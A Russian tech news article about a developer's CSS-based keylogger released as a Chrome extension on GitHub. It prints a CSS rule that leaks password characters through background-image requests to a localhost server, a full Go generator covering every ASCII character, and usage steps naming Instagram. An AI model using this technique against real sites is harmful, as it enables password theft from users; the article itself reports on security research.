Игра Яндекс Практикума
Игра Яндекс Практикума
Игра Яндекс Практикума

Энтузиаст создал кейлоггер на CSS

Новости

Исследователю удалось разработать расширение для Chrome с кейлоггером на CSS. Инструмент находится в открытом доступе.

7К открытий7К показов

Независимый разработчик Макс Чихаб (Max Chehab) поделился своим CSS-кейлоггером на GitHub. Инструмент представлен в виде расширения для браузера Chrome.

Принцип работы

Используя селекторы атрибутов, можно запрашивать ресурсы с внешнего сервера под видом загрузки фонового изображения.

Например, следующий CSS выберет все формы ввода с типом password и значением value, заканчивающимся на «а», и затем попытается загрузить фотографию из http://localhost:3000/a:

			input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}
		

С помощью простого скрипта можно создать CSS-файл, который будет посылать опциональные запросы для каждого символа ASCII:

			package main

import (
	"fmt"
	"log"
	"net/url"
	"os"
)

func main() {
	fmt.Println("Building keylogger.css")

	output, err := os.Create("./css-keylogger-extension/keylogger.css")
	if err != nil {
		log.Fatal("Cannot create output", err)
	}
	defer output.Close()
	for c := 32; c < 128; c++ {
		value := fmt.Sprintf("%c", c)
		urlValue := url.QueryEscape(value)

		if value == `"` {
			value = `\"`
		} else if value == `}` {
			value = `\\}`
		} else if value == `\` {
			value = `\\`
		}
		fmt.Fprintf(output, `input[type="password"][value$="%v"] { background-image: url("http://localhost:3000/%v"); }`, value, urlValue)
		fmt.Fprintf(output, "\n")
	}
	fmt.Println("Complete.")
}
		

Как пользоваться?

  1. Открыть веб-сайт, использующий компонентный фреймворк вроде React (например, https://instagram.com).
  2. Нажать на расширение C в правом верхнем углу на любой странице.
  3. Ввести свой пароль.
  4. Пароль будет перехвачен express-сервером.

Подробности по установке и настройке расширения можно найти в источнике.

Каскадные таблицы стилей становятся популярным инструментом для проведения хакерских атак. Напомним, что в январе был создан прототип системы для отслеживания ряда пользовательских действий на чистом CSS. А в начале февраля у исследователей получилось использовать CSS для кражи токенов CRSF и персональных данных.

Следите за новыми постами
Следите за новыми постами по любимым темам
7К открытий7К показов